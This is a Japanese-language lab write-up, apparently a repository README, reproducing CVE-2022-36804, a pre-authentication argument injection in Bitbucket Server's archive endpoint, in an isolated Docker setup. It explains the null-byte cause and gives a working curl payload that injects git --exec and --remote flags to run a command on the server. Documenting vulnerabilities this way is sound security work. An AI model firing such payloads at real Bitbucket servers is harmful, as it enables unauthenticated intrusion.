
Investigating CVE-2022-36804
Bitbucket がユーザー入力をサニタイズせず、攻撃者が Git フラグを注入してリモートでコードを実行できるようにする、リモートコード実行の脆弱性を再現します。
このリポジトリは、Bitbucket Server における事前認証の引数インジェクションの問題である CVE-2022-36804 を再現した方法を文書化したものです。目的は、Assetnote の公開記事に記載されている根本的なセキュリティ問題を実証することでした。すべてのテストは隔離されたローカル環境で実施されました。
CVE-2022-36804 は、Bitbucket が null バイトをサニタイズせずにユーザー入力を git archive サブプロセスに直接渡すことが原因で発生します。Bitbucket は git を起動するために NuProcess を使用しているため、null バイトが保持され、引数の分割が発生します。これにより、攻撃者はコマンドに追加の git フラグを注入できます。影響を受けるバージョン(この設定で使用されている 7.21.0 など)では、認証なしでリモートコード実行につながります。
この事前認証リモートコード実行の脆弱性は、git archive の機能でリポジトリアーカイブを生成する /archive エンドポイントで発生します。Bitbucket は prefix パラメータを git サブプロセスに直接渡しますが、null バイトをサニタイズしません。git は C で実装されているため、null バイトによって文字列が早期に終了します。したがって、null バイト以降のすべては、別のコマンドライン引数として解釈されます。これにより、攻撃者はコマンドに任意の git フラグを注入できます。
これは、Bitbucket が NuProcess を使用しており、null バイトを削除せずに保持するため機能します。その結果、Git はユーザーが提供したそのままの生の入力を受け取ります。git は null バイトを文字列終端として扱うため、prefix 値は git サブプロセスに渡されるときに複数の引数に分割されます。これにより、null バイトの後に追加の git フラグを紛れ込ませることができます。--exec や --remote などのフラグと組み合わせると、この引数インジェクションは Bitbucket Server の影響を受けるバージョンでリモートコード実行に直接つながります。
TEST/demo)環境を起動するには:
docker compose up -d
バージョンを確認する:
cat /opt/atlassian/bitbucket/VERSION
この CVE の要点は、prefix パラメータ内の null バイトによって、Bitbucket が git archive に複数の引数を渡すことを示すことです。
docker exec -it bitbucket bash
cd /tmp
wget https://github.com/DominicBreuker/pspy/releases/download/v1.2.1/pspy64
chmod +x pspy64
./pspy64
pspy を実行したままにします。
curl "http://localhost:7990/rest/api/latest/projects/TEST/repos/demo/archive?prefix=test%00canary&format=zip"
これにより、null バイトが引数の分割を引き起こすかどうかをテストします。
pspy では、Bitbucket が次のように生成します:
/usr/bin/git archive --format=zip --prefix=test canary/ --
ここでは、test と canary が 1 つの引数ではなく別々の引数として表示されます。%00 が入力を分割し、Bitbucket はそれらを独立した引数として git に渡さざるを得なくなります。
下の画像は、Bitbucket Docker コンテナ内で実行されている pspy が /usr/bin/git archive --format=zip --prefix=test canary/ --(PID=666)を捕捉している様子を示しています。1 つの値として送信された test%00canary が、2 つの別々の引数として渡されています。null バイトが入力を分割し、git コマンドに余分な引数を紛れ込ませています。
null バイトを介して --exec=touch /tmp/pwned と --remote=file:///... を注入することで、サーバーは任意のコマンドを実行します。git は終了コード 128 で終了しますが、git がエラーを返す前にコマンドが実行され、コンテナ内に /tmp/pwned が作成されます。
ペイロード:
curl "http://localhost:7990/rest/api/latest/projects/TEST/repos/DEMO/archive?at=ebbabd99dd2da7bb5f8ed6dea8c988253fb43260&prefix=x%00--exec=touch+/tmp/pwned%00--remote=file:///var/atlassian/application-data/bitbucket/shared/data/repositories/1%00x&format=zip"
下の画像は、pspy が完全な実行チェーンを捕捉している様子を示しています。/usr/bin/git archive が --exec および --remote 引数(PID=74412)で実行され、/bin/sh touch /tmp/pwned(PID=74413)を生成しています。

docker exec -it bitbucket ls -la /tmp/pwned を使用して、ファイルが作成されたことを確認できました。
これを下の画像に示します。

Johan - スウェーデン、ストックホルム